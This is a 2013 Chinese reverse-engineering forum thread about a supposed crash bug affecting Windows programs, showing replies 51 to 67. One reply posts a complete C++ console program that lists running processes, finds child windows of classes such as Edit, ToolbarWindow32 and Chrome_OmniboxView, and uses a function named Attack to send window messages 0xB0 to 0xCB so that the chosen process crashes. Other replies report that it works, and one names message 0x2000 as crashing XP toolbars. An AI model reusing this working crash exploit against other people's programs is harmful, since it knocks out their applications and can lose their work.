首页
社区
课程
招聘
[原创]Windows 所有程序崩溃漏洞
发表于: 2013-5-6 01:16 14897

[原创]Windows 所有程序崩溃漏洞

2013-5-6 01:16
14897
收藏
免费 6
支持
分享
最新回复 (66)
雪    币: 437
活跃值: (78)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
51
学习了。。。。
2013-5-11 10:12
0
雪    币: 1227
活跃值: (21)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
52
下载 测试了下 效果很理想!
2013-5-11 10:25
0
雪    币: 275
活跃值: (51)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
53
重新上传个控制台版本的把
都是加密的
2013-5-12 12:39
0
雪    币: 275
活跃值: (51)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
54
正在调试命令行版本

// TestGDIbug.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"
#include <windows.h>
#include <TlHelp32.h>

#pragma warning( disable : 4996)//_CRT_SECURE_NO_WARNINGS

struct PEinfo
{
    TCHAR szExeFile[256];
    DWORD dwPid;
    HWND hwnd;//0x003e048a  0x0055034c  0x0003011e
    char szClassName[256];
};
PEinfo g_PEinfo[256];
unsigned short g_Size = 0;

void Attack(HWND hwnd,PCHAR pClassName)
{

    printf("窗口句柄:%x,窗口类名:%s",hwnd,pClassName);
    for(int i = 0xb0; i < 0xcc; i++)
    {
        ::SendMessage(hwnd, i, 0x0, 0x0);
    }
}


BOOL CALLBACK EnumChildWindowsFunc(HWND hwnd,LPARAM lparam)
{
    DWORD dwPid = 0;
    char szClassName[MAXBYTE];
    int pos = -1;
    int ctrlcut = 0;
    GetWindowThreadProcessId(hwnd, &dwPid);
    if (dwPid != (DWORD)lparam)
    {
        return FALSE;
    }
    for (int i=0;i<g_Size;i++)
    {
        if (g_PEinfo[i].dwPid == dwPid)
        {
            pos = i;
            break;
        }
    }
    if (pos == -1)
    {
        return TRUE;
    }
    GetClassNameA(hwnd,szClassName,MAXBYTE);


        if(0 == strcmp(szClassName, "Edit"))
        {
            ctrlcut++;
            strcpy(g_PEinfo[pos].szClassName,szClassName);
            g_PEinfo[pos].hwnd = hwnd;
        }

        if(0 == strcmp(szClassName, "ToolbarWindow32"))
        {
            ctrlcut++;
            if (ctrlcut > 0)
            {strcat(g_PEinfo[pos].szClassName," + ");}
            strcpy(g_PEinfo[pos].szClassName,szClassName);
            g_PEinfo[pos].hwnd = hwnd;
        }

        if(0 == strcmp(szClassName, "TreeListWindowClass"))
        {
            ctrlcut++;
            if (ctrlcut > 0)
            {strcat(g_PEinfo[pos].szClassName," + ");}
            strcpy(g_PEinfo[pos].szClassName,szClassName);
            g_PEinfo[pos].hwnd = hwnd;
        }

        if(0 == strcmp(szClassName, "ThunderRT6TextBox"))
        {
            ctrlcut++;
            if (ctrlcut > 0)
            {strcat(g_PEinfo[pos].szClassName," + ");}
            strcpy(g_PEinfo[pos].szClassName,szClassName);
            g_PEinfo[pos].hwnd = hwnd;
        }

        if(0 == strcmp(szClassName, "ThunderRT6FormDC"))
        {
            ctrlcut++;
            if (ctrlcut > 0)
            {strcat(g_PEinfo[pos].szClassName," + ");}
            strcpy(g_PEinfo[pos].szClassName,szClassName);
            g_PEinfo[pos].hwnd = hwnd;
        }

        if(0 == strcmp(szClassName, "Chrome_OmniboxView"))
        {
            ctrlcut++;
            if (ctrlcut > 0)
            {strcat(g_PEinfo[pos].szClassName," + ");}
            strcpy(g_PEinfo[pos].szClassName,szClassName);
            g_PEinfo[pos].hwnd = hwnd;
        }
        EnumChildWindows(hwnd,EnumChildWindowsFunc,lparam);
        return TRUE;
}
BOOL CALLBACK EnumWindowsFunc(HWND hwnd,LPARAM lparam)
{
    DWORD dwPid = 0;
    GetWindowThreadProcessId(hwnd, &dwPid);
    EnumChildWindows(hwnd,EnumChildWindowsFunc,lparam);
    return TRUE;
}

int _tmain(int argc, _TCHAR* argv[])
{
    DWORD dPid = 0;
    PROCESSENTRY32 pe;
    int i =0;
    int id = -1;
    pe.dwSize = sizeof(PROCESSENTRY32);
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
    if (hSnapshot == INVALID_HANDLE_VALUE)
    {
        printf("CreateToolhelp32snapshot Failed!");
        return -1;
    }
    BOOL ret = Process32First(hSnapshot,&pe);
    while (ret)
    {
        dPid = pe.th32ProcessID;
        g_PEinfo[i].dwPid = pe.th32ProcessID;
        wcscpy_s(g_PEinfo[i].szExeFile,pe.szExeFile);
        g_Size++;
        i++;
        ret = Process32Next(hSnapshot,&pe);
    }
    for (int i=0;i<g_Size;i++)
    {
        EnumWindows(EnumWindowsFunc,g_PEinfo[i].dwPid);
        if (strlen(g_PEinfo[i].szClassName) == 0)
        {
            g_PEinfo[i].dwPid = 0;
            g_PEinfo[i].hwnd = NULL;
        }
        else
        {
        wprintf_s( TEXT("%d  %s %S\t"),i,g_PEinfo[i].szExeFile,g_PEinfo[i].szClassName);
        }

    }
    printf("Enter The No You Want To Test!\n");
    scanf("%d",&id);
    Attack(g_PEinfo[id].hwnd,g_PEinfo[id].szClassName);
    return 0;
}
2013-5-12 17:18
0
雪    币: 387
活跃值: (66)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
55
源代码是密文的。。。。
2013-5-14 23:11
0
雪    币: 219
活跃值: (38)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
56
留名再看,感谢LZ
2013-5-19 10:21
0
雪    币: 204
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
57
试了下,好像只有任务管理器可以
2013-5-19 10:49
0
雪    币: 31
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
58
虽不晓但觉吊,收藏下
2013-5-19 12:07
0
雪    币: 158
活跃值: (25)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
59
25L 没有啊 lz 请问还能发么?
2013-5-28 11:41
0
雪    币: 232
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
60
功力不够,但是看起来好厉害的样子
2013-5-31 22:31
0
雪    币: 85
活跃值: (87)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
61

核心代码就这一句...
上传的附件:
2013-6-1 23:28
0
雪    币: 4
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
62
看不懂 还在研究内核的初级阶段 楼主能说说心得不
2013-6-9 16:42
0
雪    币: 212
活跃值: (47)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
63
不懂,看起来很强啊,LZ深挖一下
2013-7-18 12:15
0
雪    币: 284
活跃值: (34)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
64
很好很强大!!!!!
2013-7-18 17:11
0
雪    币: 25
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
65
求大神分享测试样本!!!!
2013-7-19 09:07
0
雪    币: 244
活跃值: (63)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
66
好吧,表示看不懂
2013-7-22 20:18
0
雪    币: 341
活跃值: (138)
能力值: ( LV7,RANK:110 )
在线值:
发帖
回帖
粉丝
67
for
0xCB  XP ToolbarWindow32 不崩
0X2000就蹦了
2015-9-11 15:44
0
游客
登录 | 注册 方可回帖
返回
//